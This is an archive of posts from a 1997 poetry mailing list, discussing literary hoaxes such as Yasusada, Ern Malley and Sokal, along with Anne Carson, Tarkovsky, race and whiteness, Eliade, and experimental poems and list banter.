Lemme preface this by disagreeing a but with Dave Zauhar on Sokal. It is a lot of things, but one thing it ain't is an incompetently written article. I agree that it should of course have been rejected, but the fact that it wasn't has, as even Ross's self-justifying account of his role in the fiasco suggested, a lot to do with the expectations created by Sokal's position as physicist. Sokal's hoax has different purposes, of course, and it's not nearly as subtle as the Yasusada case, but I think the differences there are of degree rather than kind.

Not so with Malley methinks. First off, of course, Malley was created to ridicule the editors of _Angry Penguins_ in a wholesale fashion, and the poems were notoriously composed in -- what? -- an afternoon? Yasusada seems much more carefully constructed; it obviously took a long time to put him together -- although both "poets" include clues to their nonexistence in the poetic texts (and in Yasusada's case, in the notes and English exercises in APR). Further, Yasusada is _not_ lampooning anything, at least as I understand that; he seems to exist more as an insider critique, to raise questions rather than attack practices.

Another question about Yasusada comes to mind. Perloff's article nicely points out some words, like "scubadiver," in the poems that are obviously anachronistic. She also cites a poem dated 1945 that contains the term "big bang". Does anybody know when the term was coined? Theories about the universe expanding were based on Edmund Halley's observations and arose I think in the late 1920's. And the Catholic Church officially embraced the Big Bang as a proof of God in 1951. So when _did_ the term arise? If it's late (1945-1950, say) then "big bang" is also anachronistic.

Cheers,
David
~~~
~~~

627. Rebecca Weldon

Angkarn by Ginsberg

Sun 20 Apr 1997

The Poet's Testament

I wrap the sky around myself
to keep away the cold
and eat starlight late at night
to take the place of rice.
Dewdrops scatter below the sky
for me to find and drink,
and out my poems flow
to greet the morn, to last the age.
My heart, sacrificed to its grave,
gains unworldly powers;
the spirit flies to lands of dreams
the far side of the sky.
It seeks divinity in Heaven
and brings it back to earth
to soothe the sand and grass,
bringing happiness, bringing peace.
My purpose in composing poems
is to salvage the soul.

-Angkarn Kalyanapong

translated by Allen Ginsberg.

I came across this translation in "Three Thai Poets", 1978, Sathirakoses-Nagapradipa Foundation, Bangkok

In the preface, S. Sivaraksa states that Angkarn, Naowarat Pongpaibool and Witayakorn Chiengkul partipated in ASEAN Poetry 78 held in Jakarta, Indonesia that July. Angkarn's expenses were, in part, defrayed by a Ford Foundation grant. The Sathirakoses-Nagapradipa Foundation published the bilingual "Three Thai Poets" (Thai-English) to mark the event. The above poem was first published in the Social Science Review of Silapakorn University in 1962. The English translation also appeared in Tenggara (Malaysia), Solidarity (Philippines) and Quadrant (Australia). Does anyone know the year it was translated (the year is not provided in this edition)?

Although the English translation does not take the traditional Thai form, Ginsberg communicated the sentiment superbly, proving that it takes a poet to translate one.

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628. **Steven Marks**
Re: Ann Carson
Sun 20 Apr 1997

David, your memory of Anne Carson's _Eros: The Bittersweet_ is quite good. I'm no expert on her or things Classical, but this is a book that I hope to reread as well. I read this book in connection with a review I wrote of her book _Plainwater_ which contains a stimulating mixture of poems and essays. And it is delightfully never clear which is which. The review was at the web site for the Boston Book Review, but I don't think it is there anymore. For anybody who might want to read it, it's at my home page at the address below. Click on "Reviews" when you get to the welcome page. Here's two samples from _Plainwater_ (Knopf). The first doesn't do the lines justice since they are in different type faces and sizes in the book.

fr. 22
Half Moon

He awakens early.

Half moon through the pines at dawn
sharp as a girl's ribcage.

And the second sample from "Mimnermos: The Brainsex Paintings"

...I can't distill my history into this or that home truth and go plunging ahead composing miniature versions of the cosmos to fill the slots in your question and answer period it's not that I don't pity you it's not that I don't understand your human face is smiling at me for some reason it's not that I don't know there is an act of interpretation demanded now by which we could all move to the limits of the logic inherent in this activity and peer over the edge but everytime I start in everytime I everytime you see I would have to tell the whole story all over again or else lie...

As I typed the above, I realized where some of the idea I had about forgetting (or ignoring as Hugh suggested to me backchannel) and individuation comes from.

Geez, I'm just full of recommendations today!

Steven Marks

http://members.aol.com/swmarks/welcome.html

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629. **Philip Mead**

Re: Perloff on Yasusada

Sun 20 Apr 1997

> *Not so with Malley methinks. First off, of course, Malley was created to ridicule the editors of _Angry Penguins_ in a wholesale fashion, and the poems were notoriously composed in -- what? -- an afternoon? Yasusada seems much more carefully constructed; it obviously took a long time to put him together -- although both "poets" include clues to their nonexistence in the poetic texts (and in Yasusada's case, in the notes and English exercises in APR). Further, Yasusada is _not_ lampooning anything, at least as I understand that; he seems to exist more as an insider critique, to raise questions rather than attack practices.*

Yes, the immediate target of the Malley hoax was Max Harris and John Reed, editors of _Angry Penguins_, although as McAuley and Stewart stated, they were the epigones, in their view. Their real target was Herbert Read, as critic/advocate of the avant-garde and the English Apocalyptic group. But the hoax broke before the English half of the target could be drawn in.

But David's point about the careful construction of Yasusada vs. Malley probably needs the rider that while the Malley poems were written in an afternoon (apart from the first one, "Durer: Innsbruck 1495"), the context was English Apocalyptic writing, latter-day surrealism, automatic writing etc. That is, the chief virtue of the Malley poems as McAuley and Stewart (the perpetrators) argued was that they were produced _without_ the "sovereign power of the shaping intellect." So it was exactly the free play of the unconscious/imagination together with textual pastiche that produced "hoax," that is, bad, poetry. The problem, of course, was that, as Harris, Sidney Nolan, and many young Australian poets in the more than fifty years since the hoax have recognised, it was exactly the eruption of the unconscious (or whatever we want to term it) and the zany pastiche (picked up by Kenneth Koch for _Locus Solus_ as a piece of [homoerotic?] collaboration) that gave the poems their strange appeal and resonances (as well as their bathetic clunks).

"Ern Malley" became, and remains, a kind of rallying point for radical modernist, postmodern and avant-garde writing in Australia. For the moralising anti-modernists of mid-century Australian literature, Ern Malley represents the the possibility of an entirely amoral art. (Max Harris was prosecuted for pusblishing obscene material, that is, poetry of indeterminate meaning.) In a chapter I'm currently writing, I argue that in fact Malley becomes the _authentic_ origin of Australian (post)modernism.

Anyone thinking of embarking on a hoax should study the reception of historical hoaxes, they never seem to have quite the effects they were designed to.

Philip Mead

Philip Mead
Department of English & European Languages & Literatures
University of Tasmania
GPO Box 252-82
Hobart TAS 7001
Australia

(03) 6226 2352 (voice)
(03) 6226 7631 (fax)

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630. Alan Jen Sondheim

<death.htm: open in browser for the bones>

Sun 20 Apr 1997

<HTML><HEAD><TITLE>Jennifer oozing white death</TITLE></HEAD>
<BODY>
PILL="#MEDACANE" BGCOLOR="#BILE" STARE AT ME="#SHAME" TVSTARE AT
ME="#0000FF" ASTARTESTARE AT ME="#FF0000" BACKGROUND="windowpane.jpg"<
>H3<>BSTARE AT ME<Jennifer was very unhappy and sat down, spreading her
frock, recently stained, o how wonderful.>/BSTARE AT ME <Jennifer> A
HREF="#gg"<.>/A <took the two> A NAME="gg"<>/A <white pills her very best
friend had sent her, and Jennifer placed them in her mouth.> IMG
SRC="ooze.jpg" TONGUE=7 TEETH=160 GUMS=200 <She thought they tasted odd,
and Jennifer began to see and hear everything in a big wide fuzzy blur.
Jennifer slumped in the center of her nice red frock, and died, she said,
naked at last, and there were no bones about her.> IMG <I can't make up my
mind you pretty thing, Jennifer whispered.> SRC="dead_hell.jpg" <Did I
violate you, Jennifer whispered.>? TONGUE=5 TEETH=143 GUMS=167<>IMG
SRC="legs.jpg" TONGUE=10 TEETH=100 GUMS=100<>A <So close to violence,
Jennifer whispered.> HREF="slip them in.htm"<smear>/A< >A HREF="legs.htm"
<ooze>/A<>/H3< </BODY> <War, Jennifer whispered.> <HTML, she said.>
</HTML>

↑ Index

631. David R. Israel
stalker / Tarkovsky / Lao Tse / synchronicity
Sun 20 Apr 1997

David Golumbia --

thanks for your detailed info abt. Stalker & Roadside Picknick -- I'd never heard of the latter novel. I guess Tarkovsky's films Stalker & Solaris seem a pair -- a suite of two, so to say -- & hence my (wrong) assumption abt. authorship of the novel behind the former (since Lem had written the Solaris novel).

Speaking of Andre Tarkovsky, these literary references in his work have especially interested me:

* in STALKER, he gives -- in mystic voiceover (I think while the camera is doing slow pans of water & objects in water -- something the camera does a lot of in this film; -- all this by way of giving some sense of "what life is like" in "the ZONE) -- a few well-known verses from the Tao Te Ching [Dao de Jing] attributed to Lao-Tse.

It's been years since I've seen the film (or read the TTC), but as I recall, the lines quoted [w/o attribution] are those that compare the Tao to water . . . noting water's pliancy, mobility -- it always seeks the lowest place (etc.) . . .

* in THE SACRIFICE (which was Tarkovsky's final film -- he made 7 movies in his life, before succombing to cancer, in the mid-'80s) -- there's a curious and (I'd say) significant reference to the work of Carl Jung. One tends to feel a kinship w/ Jung (if not actual influence) in Tarkovsky's work generally -- and in this late case, one finds, it seems, a sort of hat-tip by the filmmaker, saying, in effect: yes, it's to Jung that I'm referring here. More specifically, the anecdote in question is found in (if I recall aright) a footnote in one of Jung's essays on the topic of Synchronicity (CGJ's own coinage for what he termed "acausal connections"; -- I don't much care for his "acausal" arguments -- he was bending over backwards trying to justify basic subtle matters for his skeptical rationalist milieu -- but anyway the material of synchronicity is, even so, fascinating & important) . . .

anyway, early on in the movie, the postman -- who rides a bicycle and delivers a medieval map of the world, as a birthday present to the eccentric chap whose birthday is to be celebrated in the course of the weekend chronicled in the film -- this postman remarks that he is a "collector of incidents." What kind of incidents?, he's asked. By way of answer, he tell's Jung's anecdote. He says, this is the sort of incident I collect (& tells the tale). The tale involves a woman during the 2nd world war (early on), who went to have a photograph of her son taken. But due to war circumstances, she had to fell the country the very next day, was separated from her son -- and never had the film developed (it was abandoned

with much else). Years later, in America, she sits for a photograph herself. The photo is developed, and it proves to be a double-exposure: her image is combined with that of her son (the film having never been developed, but, rather, re-used) . . . the postman tells this story, as an example of one of the many incidents he has "collected" (meaning, it seems, researched & verified) -- and by this means, the filmmaker serves to signal the viewer that THIS is close to the essential matter to be delved into as the film unfolds . . . .

best,
d.i.

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 .
 .....
 ............
 \\\\
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fax: [redacted]
e-mail: [redacted]

↑ Index

633. **David Bromige**
cheapening sex in an inflationary spiral
Sun 20 Apr 1997

I was so glad when george posted & didnt say the reason we'd been cheapening sex lately was cause as old farts we have to pay too much for it. George can be very vulgar, & that is certainly vulgar. But george, I think its best to admit our code isnt Korean, its Canadian, eh? And its best to admit we bin caught w our pants round our ankles. Its a first offense, & i think we should throw ourselves on the mercy of the court. I intend to talk abt how busy i've bin w civic duties of late, writing letters to the local papers & going to weekly meetings and stomping the precincts to prevent the wrongful annexation of orchard-land to build an industrial park on the edge of town, how i had to make a speech to the Local Agency Formation County Organization while they were all doing good imitations of my firstyear students during Melville, how we had to put on a mixer/art auction to raise money to pay for the lawsuit and how i've been gathering stuff for the yardsale next weekend, humping mattresses into flatbed trucks, for the same purpose, against big odds: 4 of the 5 city council members cldnt be more for it if they were in the pockets of the developer (i'm probably speaking metaphorically about now, the council is too big for that), and theres a law now that allows the city cxouncils to pass on the costs of any lawsuit to the developer, which is a bad law because it encourages the council to vote irrespnsibly, as they did in this case, the EIR is the most flawed i've ever seen, the traffic engineer in reporting that the 2500/day extra cartrips this industrial park will generate. neglected to factor in that each year, an extra 880 car trip/p.d. go thru Sebastopol. And the waste storage ponds planned wont be nearly large enough to contain effluent from the parkinglots once the big storms hit in the winter.Its ribbon development, which our recently approved General Plan forbids, meanwhile theres an industrial park already built 43 miles away in Santa Rosa w plenty of empty buildings, and I cd go & on about this, not my first venture into grassroots politics, but i wont, because who wants long postings, and also because i want to address your defense, George, you must tell of how hard you work at SFU, and of needing at the same time to be nursing your wife as you are doing thru a serious illness, while traveling the world in behalf of Canadian Lit; and how all this hard work, requiring stern sublimation, made us crack up : and then we just throw ourselves on the magistrate's mercy & hope he hasnt recently been made to look foolish in public by a colleague on some judicial matter in such a way that he's looking for some easy butt to kick. I'd say its

always best to make a clean breast of it, but I'm worried that the superfluous sexual energy encoded in language would render that cliche, in context, suspect. But in any case, George, we must see to it that our heavily (but not heavily enough) encrypted desire for one another is kept strictly in the back channels henceforth. We wouldnt want the Listmaster, a man notorious for his playlessness, and who always stands by the fixed meanings he imparts to his words, delivering an officious censure to us on the parade ground. Au revoir, cherie--j'embarrass ton rep. db.

↑ Index

634. David Bromige

ps to the subject-title with sex in it

Sun 20 Apr 1997

---

the industrial park already built, the obvious site for the o'reilly business, is not 43 miles away, but 4.3. ((o sure. Its really just another code!) db.

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635. Hugh Steinberg

Re: Perloff on Yasusada

Sun 20 Apr 1997

David Kellogg Writes:

> *Another question about Yasusada comes to mind. Perloff's article nicely points out some words, like "scubadiver," in the poems that are obviously anachronistic. She also cites a poem dated 1945 that contains the term "big bang". Does anybody know when the term was coined? Theories about the universe expanding were based on Edmund Halley's observations and arose I think in the late 1920's. And the Catholic Church officially embraced the Big Bang as a proof of God in 1951. So when _did_ the term arise? If it's late (1945-1950, say) then "big bang" is also anachronistic.*

According to Timothy Ferris's book "Coming of Age in the Milky Way," the term "Big Bang" was coined by astrophysicist and science fiction author Fred Hoyle as a derisive commentary on Georges Lemaitre's theory that the universe began as a singularity which erupted in what Lemaitre called the "Big Noise" in a 1933 New York Times magazine article. Unfortunately, Ferris doesn't cite a date when Hoyle first used "Big Bang" in public. Hoyle published his book on the steady state theory in 1948, so my hunch is that it's not quite an anachronism.

Hugh Steinberg

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636. **KENT JOHNSON**
Bowering and Bromige test
Sun 20 Apr 1997

This is partly a test to see if this gets on before three messages I posted last night do. But while I'm testing, I thought I'd ask if anyone else found the B&B sex-play repartee over the past few months to be very suspicious. I, for one, do. In fact, I'm convinced these witty and sexed-up massages (oops, I meant E), are encrypted and hide more serious meanings, and I've begun to go back over them, using a variety of cryptographic techniques, including some of the methods pioneered by de Saussure in his late hunts for anagrams embedded into Latin verse. So far, I have been stymied, but I do think a broadly anagrammatic approach is the key (reading backwards and acrostically, I am now satisfied, is barking up the wrong tree).

If anyone shares my concern, or has suggestions on reading techniques that might prove fruitful, please let me know. The truth is that this little game has gone on for too long. And the use of erotic longing to obscure real motives only ends up cheapening sex.

Kent

↑ Index

637. **Bob Grumman**
Re: A Word For Lurker
Sun 20 Apr 1997

Weird, after several days of reading others' attempts to find the right word for a person auditing, or lurking through(?), or g(r)azing on, or cetera, this site/discussion, and being irritated with myself for not thinking of anything to contribute, I've suddenly remembered that the proper word already exists: SURFER! Or am I really out of it? But if "surfer" is the right word, it taxonomizes very neatly into the two main types involved: the SERFER (or commie sympathizer) and the PSURFER (or degenerate apolitical intellectual). Should I go back to bed? Bob G.

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638. **Field of Roses**
Re: no, well I mean yes
Sun 20 Apr 1997

> *My brain is busted because I have been marking for 3 weeks, and also because I got a heartshaped box of Valentine's chocolates for 69c Canadian, and ate them all and there was only one chewy one. Now, is that fair? And I*

> *had gone to that store to get a flashlight, so life is confusing, and i am giving them F.*

gee george, hardened by one caramel?

"everyone starts with a c" - bpNichol

Linda Charyk Rosenfeld

↑ Index

639. **aerialedge**
Re: Perloff on Yasusada
Sun 20 Apr 1997

> *I would just say there is one key difference: The poems of Yasusada "fooled" the editors because they were good poems*

Dave Z-- As I believe the first editor to have published Yasusada I should chime in that in fact I wasn't "fooled" precisely because the piece was so good. I said so to a number of people at the time. There are moments in the piece that are just a little too perfect, & the speakers a little too well informed for no one in the community to have heard of them (that's how it struck me in 1990, anyway). I published it because I thought it good, discursively & aesthetically, though I was quite curious about its origin. Oh, & it's _Aerial_, not Arial-- which is actually a new one, usually people misspell it Ariel.

--Rod Smith

↑ Index

640. **David Bromige**
(Perloff on Yasusada) footnote/spinoff/response to Mark Prejsnar/ Bob P-threaders may also note , uh, "On parody"
Sun 20 Apr 1997

'The only people who will "see the light" in respondse to your parody will be those who already agreed with your loathing of the style.' Hallelujah, Mark Prejsnar, I couldnt agree more. Would add, however, that "seeing the light" isnt the only pleasure one can take in a parody. One can enjoy "Burnt Norton" and still enjoy "Charred Whitlow" (by Henry reed, is it? Too busy or lazy to look it up). I've seen parodies of writers I greatly admire that have been outrageously funny. It seems to me its something akin to the potential funniness of names-- parody can throw limitation into a new light, we see the something mechanical about style, and Bergson in "On Laughter" makes sense to me when he remarks that one thing that can be funny is when human beings act in a mechanical way.Or the comedy routine is "a machine"...Chaplin appears, theres an open hole in the street, we know its only a matter of time before he falls down it . .

that example is likely from someone other than Bergson, huh? Cant recall my source there, sorry. Any style has the limitations of its virtues, and if a parody can detach us from its charisma for a moment, we can laugh at it without, however, "seeing the light" & expunging that poet or that poem from our hearts.(I recall the thread on the List months since, concerning "Stopping by Woods" being sung to the tune of "Hernando's Hideaway". Poems from _The Shropshire Lad_ too, I think Bowering posted in, cd also go to that tune.) One of my favorite parodies is by Kenneth Koch, and has fun with WCW's "This is just to say" : "This is just to say/ I'm sorry I broke both yr arms at the dance last night/ but I wanted you on the wards, where _I_ am the doctor." The chief problem w the parody Bob P alludes to, is that it isnt a good parody. It's not well-written. And given its authorship, how cd it have been? Even that is faintly funny. db.

↑ Index

641. **Ryan Whyte**

in no time

Sun 20 Apr 1997

The edges of a prison are delineated by aluminum siding like the zipping of wet rag along a striated vinyl tablecloth. Populated by ghosts, Obelisk watched at the perimeter while shades enforced their very existence upon small children huddling. With splashing gravel Cars move over arterial routes, shuttling Hosts of shades who won't give you the time of day. Disengaged from the homestead the night radio transmits George Grant's words among fields indifferent to electricity. Moving shades make way, leaving wakes to toss mustard aloft.

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642. **Dave Zauhar**

Re: Perloff on Yasusada

Sun 20 Apr 1997

Thanks to Rod Smith for the editor's eye view of the event. I'd just like to point out that I put scare quotes around "fooled" to account for what were obvously a wide range of reactions to subsequent revelations, as well as to a variety of possible initial responses upon first encountering the poems. Not very precise, but I had just gotten home from a 6-7 hour happy hour. However, I stand by my initial assessment of Sokal's article, in spite of not having access right now to Social Text to help me make my case. Finally, I wonder if anyone has ever thought about how one's perception that a poet might be an invention alters perception of the work. Ted Berrigan and Ron Padgett (according to Padgett's memoir) assumed that F.T. Prince was such a poet. I remember reading _Ted_ when it came out then looking for Prince's work, and upon finding it, being

convinced that Prince was another Ern Malley, so much so that when I encountered his entry in a DIctionary of Literary Biography, my first reaction was to say, "ha, fooled them!" But as the artist currently known as F.T. Prince put it: "To the vigilance of my exertions a lax pause"

Dave Zauhar

> *I would just say there is one key difference: The poems of Yasusada "fooled" the editors because they were good poems*
>
> *Dave Z--*
> *As I believe the first editor to have published Yasusada I should chime in that in fact I wasn't "fooled" precisely because the piece was so good. I said so to a number of people at the time. There are moments in the piece that are just a little too perfect, & the speakers a little too well informed for no one in the community to have heard of them (that's how it struck me in 1990, anyway). I published it because I thought it good, discursively & aesthetically, though I was quite curious about its origin. Oh, & it's _Aerial_, not Arial-- which is actually a new one, usually people misspell it Ariel.*
>
> *--Rod Smith*

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643. **Bob Grumman**
Withdrawel of "surfer"
Sun 20 Apr 1997

Sylvester Pollet just e-mailed me the correct definition of "surfer," to wit, one who moves from website to website, rather than one who lurks through a single site. So I withdraw my suggestion. Too late to go back to bed, though.
--Bob

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644. **John Kinsella**
CCCP, Cixous, and J.H. Prynne
Sun 20 Apr 1997

Unfortunately Deanna Ferguson will not be able to appear as advertised on the CCCP programme which Fiona Templeton just posted, but there will be readings from her work during the scheduled appearance time. _Salt_ will also look to carry some of her poems next year. Talking of _Salt_, I enjoyed the posting regarding Helene Cixous; the August issue of _Salt_ carries (both in French & in trans- lation) a fascinating piece called "Savoir" by Cixous, which any "short-sighted" readers out there will especially appreciate. Also, for those interested

in progress reports re the Folio(Salt) publication of J.H. Prynne's _Complete Poems_, we have an Australian release date of late August and a US/UK release date of late October. Fremantle Arts Centre Press are combining with Folio on distribution so we'll get the book everywhere. Oh, and great news, there's a new manuscript of Prynne's that Equipage hopes to publish in time for the CCCP and that has also been included in the Complete Poems - "For The Monogram". The opening epigram goes: "Why should the dog ever be displeased _spontaneously_?" -- Leibniz, _Theodicy_, intro. by Austin Farrer (1951).

All the best
Yours
John Kinsella

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645. Sylvester Pollet
Re: the withdrawal of surfer
Sun 20 Apr 1997

David, That's pretty close to what I imagine the experience to be (of just listening/reading). But maybe it's not spelled that way--more like a pine or spruce, soughing as the wind(y) pass through it? More as in "those poor soughin' bastids!" sp

> *May I suggest *sufferer*, in the sense of Jesus' "suffer the little children to come unto me." db*

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646. Jeffrey W. Timmons
What white
Sun 20 Apr 1997

On Fri, 18 Apr 1997, Dale Smith wrote:

timmons:
> >ok heres my (tentative) conclusion: race is semantically and
> >epistemologically more complicated than the linguistic and conceptual
> >categories used to discuss it. itd be more useful i think to be aware of
> >that.
>
> It seems like this kind of intellectualized and evasive answer neglects to
> address the positions of race as they actually function.

no quite the opposite actually: it encourages one to be aware (dare i say sensitive?) to the permutations of difference and the difficulties of making ethno-assumptions. i dont apologize for an "intellectualized" answer and i dont accept

as "evasive" an attempt to separate the wheat from the chaff--as it were. your point of addressing "the positions of race as they function" is taken to heart--however much the criticism of "cerebral--distant--contemplation" is inaccurate. i like to think of my self as somewhat influenced by enlightenment practices: the general AND the particular.

> *A body reveals certain traits--Asian, African, European--but it doesn't always give you details of national heritage or even ethnicity, as in a country like Burundi.*
>
> *A white person's categorical discussion of race pretty much reveals the problems Hoa pointed out in her post.*

this two statements evoke for me precisely the difficulties i mentioned in my post: that the racialized body is both a sign of ethnicity but problematically ambiguous. to which i suggested that our language for talking about this is simply not adequate to the experience and the experienced experience of race--which is to say that we are saying the same thing in different words. but while you alluded to this ambiguity of race you also insist upon it--which is not to say you are inconsistent but that the language of race necessitates both an attention (as you say) to the lived experience of race but (as i say) an attentiveness to where that language fails to address the ambiguities complexities difficulties of differences.

> *Finally, it is more than a bit ironic for a white person to determine a "useful" vocabulary for racial discussion.*

i hope youre not making assumptions about race on-line: its hard to see not to mention the fact that the inscription of race on the body is itself always subject to interpretive ambiguity.

> *It seems like the appropriate response to questions of race would be not to retreat into vague conceptual terms, but to engage them in a more heart-felt way. As it is, the above seems dismissive and casual, and it removes personal experience from the complicated issues surrounding race.*

well referring to my post as "vague conceptual terms" that are "dismissive and casual" in favor of a rather sentimentalized language of the "heart" whose idiom is "personal experience" runs the risk not only of alienating your interlocutor but of particularizing any discussion of race into an my experience versus youre experience. a rather habermasian dilemma if i do say so.

in the end this post raises these thoughts for me: first that i hope that i didnt seem too harsh in my original look at the use made of "white guys." second that an idiom mediating particularized languages of experience--the "heart"--and the "intellectualized" analysis of such epistemo-linguisitc concepts is necessary.

best

jeffrey timmons

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647. **Jeffrey W. Timmons**
Re: What is white
Sun 20 Apr 1997

On Sat, 19 Apr 1997, dodie wrote:

> *all dead white guise*
>
> *As I remember it, I said "white guys" in my original post. It's interesting that you latched onto "white." Why not deconstruct "guys," why not lauch into gender performance here?*

given time.

> *No offense take.*

taken none is.

jeffrey

↑ Index

648. **Mark W Scroggins**
Re: Ann Carson
Sun 20 Apr 1997

There's also a lovely review of _Eros the Bittersweet_ in Guy Davenport's latest collection of essays, _The Hunter Gracchus_. He does a nice job of tracking the connections between knowledge & eroticism in Carson's book.

& that's Anne Carson with an "e."

Mark Scroggins

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649. **David Bromige**
lubbers
Sun 20 Apr 1997

So that one might well hail: "Ahoy there, ye listlubbers!" As the list lists, to starboard or port, ask these ex-lurkers to rush to place their weight on the side thats lifting out of the water. Well done, Aldon. But will language prove amenable to a good idea, after years of practice? db

↑ Index

650. **Sylvester Pollet**
Re: Bowering and Bromige test
Sun 20 Apr 1997

Gee, Kent, I'm not sure about the encryption, but I always thought erotic longing WAS a real motive. Are you telling me (& Freud) it isn't? perplexedly, sp

> *If anyone shares my concern, or has suggestions on reading techniques that might prove fruitful, please let me know. The truth is that this little game has gone on for too long. And the use of erotic longing to obscure real motives only ends up cheapening sex.*
>
> *Kent*

↑ Index

651. **Aldon L. Nielsen**
Re: The Whatness of Whiteness
Sun 20 Apr 1997

I've just had the rather odd experience of going directly from the conference on the construction and possible undoing of whiteness held at Berkeley to the meeting of the College Language Association in Atlanta, and will, as several have asked me to do, provide BRIEF reports on both in the coming days --

The conference on whiteness turned out to be the most ethnically and racially integrated academic conference I have ever attended -- On the other hand, white academics continue to absent themselves from the meetings of the College Language Association -- whatever we might think of race in America, it's clear that many people who might be considered "white" choose their company in the same old ways --

More directly to Hoa Nguyen's questions --

_If _Race Traitor_ were only arguing the social construction of race there would be considerably less controversy about their platform -- I would second the note that you might try to get the Routledge collected traitors at your nearby university library --

BUT also -- last year in the _American Quarterly_, Shelly Fisher Fishkin offered, with bibliography, a fairly accurate summary of the recent critical and socio/political works examining the evolution of "whiteness" in American culture -- I can get the exact citation for you if you want me to (could perhaps even mail you a xerox, since I have it here somewhere in these piles of books) --

_____
Bob Perelman: Does "this" happen often to you?

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652. **Maria Damon (Maria Damon)**
Re: desublimation/eliade
Sun 20 Apr 1997

interesting; i went to stanford as a grad student partly cuz i was so taken w/ girard's work; then when i got there, i tried to sit in on a few classes of his and just couldn't, for reasons mentioned below. everything came back to the same old story, which ratified Christianity. he was/is a charming character however, with a very large, large head. his two mantras, to be said in a heavy french accent were, "Very strannnnnge!" and "But it's so obvioos!" accent on the last syllable of obviooos. These two descriptors applied to every anthropological anecdote at his disposition; first strange, then, with the application of his theory, rendered "so obvioos."

At 7:52 PM 4/21/97, Pierre Joris wrote:
>Henry -- I read Girard's work with wonder & pleasure as it came out over
>the years, especially the early books. When, however, he got to his
>final theory by which ALL the trouble in the world is explained/resolved
>by ONE shopworn idea (the scape-goat) & ONE solution (a just as shopworn
>xtian possibility) I gave up in anger: his turns out to be one more
>single-narrative alabi explanation more attuned to totalizing 19th
>century desires than to the reality of this century. The evangelical
>arrogance of a man calling his magnum opus "Of things hidden since the
>foundation of the world" — things which he then of course claims to
>reveal for the first time to us befuddled mortal masses — is more than I
>am willing to put up with. -- Pierre
>
>ps. have read elsewhere about the Eliade caper. difficult to disentangle
>the arcana of rumanian secret service stuff. am suspending belief til
>the cows come home on that one which don't mean I cldn't see our
>myth-worker involved in unsavory hanky-panky. That breed seems inclined
>to totalizing gestures -- remember Jung's brushes with fascismo.
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://www.albany.edu/~joris/
>----------
>Everything that allows men to become rooted, through
>values or sentiments, in _one_ time, in _one_ history, in
>_one_ language, is the principle of alienation which
>constitutes man as privileged in so far as he is what he is,
>[...] imprisoning him in contentment with his own reality

>and encouraging him to offer it as an example or impose
>it as a conquering assertion. -- Maurice Blanchot
>==========

↑ Index

653. **henry gould**
desublimation; Eliade
Sun 20 Apr 1997

David, thank you for the technical term for what I was describing : "repressive desublimation". I'm glad you were reading your Marcuse back in the 60s. Too bad the best you can do after 30 years is a feeble one-liner. That's called Marcusing time, if you want to make puns. - Jack Spandrift at his most snarling

re: Eliade. Did anyone see the article by Umberto Eco in a recent NY Review of Bks about Eliade's connections with a Romanian fascist secret police organization & the unsolved murder of a young grad student of his who was beginning to distance himself from the master (the student was also Romanian). Unsolved murder in Chicago. Myth is murder, according to Prof. Girard. What say, ethnopoeticians? - Henry Gould

↑ Index

654. **Maria Damon (Maria Damon)**
Re: no no nanook(ie)
Sun 20 Apr 1997

---

ah. compris.

At 7:54 AM 4/21/97, Rachel Loden wrote:
>As a general rule, Maria, I try to stay out of places where Canadians
>are dropping their pants.
>
>Rachel L.
>
>>But george, I
>>think its best to admit our code isnt Korean, its Canadian, eh? And its
>>best to admit we bin caught w our pants round our ankles.

↑ Index

655. **David R. Israel**
back to drawing board / (if not to lurk)
Sun 20 Apr 1997

Bob Grumman writes --

> *Sylvester Pollet just e-mailed me the correct definition of*
> *"surfer," to wit, one who moves from website to website, rather than*
> *one who lurks through a single site. So I withdraw my suggestion.*
> *Too late to go back to bed, though.*
> *--Bob*

Glad someone pointed that out; but still, the surfer idea leads to other maritime possibilities . . . .

we know "cruiser" won't work; nor "sailor" -- but there must be something sea-worthy & saltsome, wavedashed & current --

back to treading water? ("I've been treading these past weeks, and just thought I'd land ashore here for a brief comment . . . ")

there's IDLING (as what a car does, when it's not engaging the road, but is still running); -- then, what is it when one looks out the window & takes in the scenery? -- there's scanning (but this already has its techn-meanings); snooping (naw); scoping (?); smelling the coffee / sniffing the flowers, sauntering the walkway, walking the dog, reading the funny papers . . . lot of verbs & objects . . .

I've been high-beaming thru this listserv for a while, and thought I'd just brake to say . . . okay, back to beamin' . . .

have been on a walkabout . . . have had a good look/see . . .

to scope? -- to scope, perchance to preen ;
(aye, there's the shrub)

d.i.

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656. **David R. Israel**

Re: desublimation; Eliade

Sun 20 Apr 1997

Henry saith --

> *re: Eliade. Did anyone see the article by Umberto Eco in a recent NY Review of Bks*

didn't, but wd. like to -- wouldn't have more particular ref, wd. ya?

> *. . . . about Eliade's connections with a Romanian fascist secret police organization & the unsolved murder of a young grad student of his who was beginning to distance himself from the master*

yikes -- (I thought the guy was s'posed to've really mellowed . . .)

> *(the student was also Romanian). Unsolved murder in Chicago. Myth is murder, according to Prof. Girard. What say, ethno-poeticians? -*

I've no idea what Girard might mean by that (nor who that Prof. may be, for that matter); but it's interesting that Eco (w/ his "Name of the Rose" interest in intrigues) would unearth -- and so provacatively -- broadcasst this (poss. "real life") tale -- a thing one wd. think old Umberto would decidedly NOT do except if he felt there were (likely?) something to it.

strange things, Horatio Gouldernstern, in your philosophy class . . .

d.i.

.
.....
.....
\\\

657. **David R. Israel**

Re: Bowering and Bromige test / cryptonite

Sun 20 Apr 1997

---

from Kent Johnson . . . .
> using a variety of cryptographic techniques, including some of the
> methods pioneered by de Saussure . . . . (reading backwards
> and acrostically, I am now satisfied, is barking up the wrong tree).
>
> If anyone . . . . has suggestions on reading techniques that might
> prove fruitful, please let me know.

as I recall (from suburban televideo upbringing), the haploid/hapless quasi-anti-hero Maxwell Smart once mentioned a method he'd tried applying to a suspect novel: reading every 3rd word. His success, it seems, was little better than that you report. And to boot, he found it partricularly hard to follow the storyline that way.

But your post calls to mind the 1st paragraph of William Gass's interesting-looking essay in the April issue of Harper's. (I read only the first few paragraphs while eating my brown rice in Union Station . . . so can't vouch for the bonafides of the whole essay) -- this is the 1st essay Gass has had in Harper's Magazine since an excellent one back in '94 . . . .

[you cd. call this the Smart / Gass post; okay, back into the box.]

d.i.

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 .
 .....
 ............
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658. Maria Damon (Maria Damon)
Re: who is social, individual, or a writer
Mon 21 Apr 1997

At 10:33 AM 4/21/97, Mark Weiss wrote:
>Silly me. I've always thought that, though I live in the social world, blah
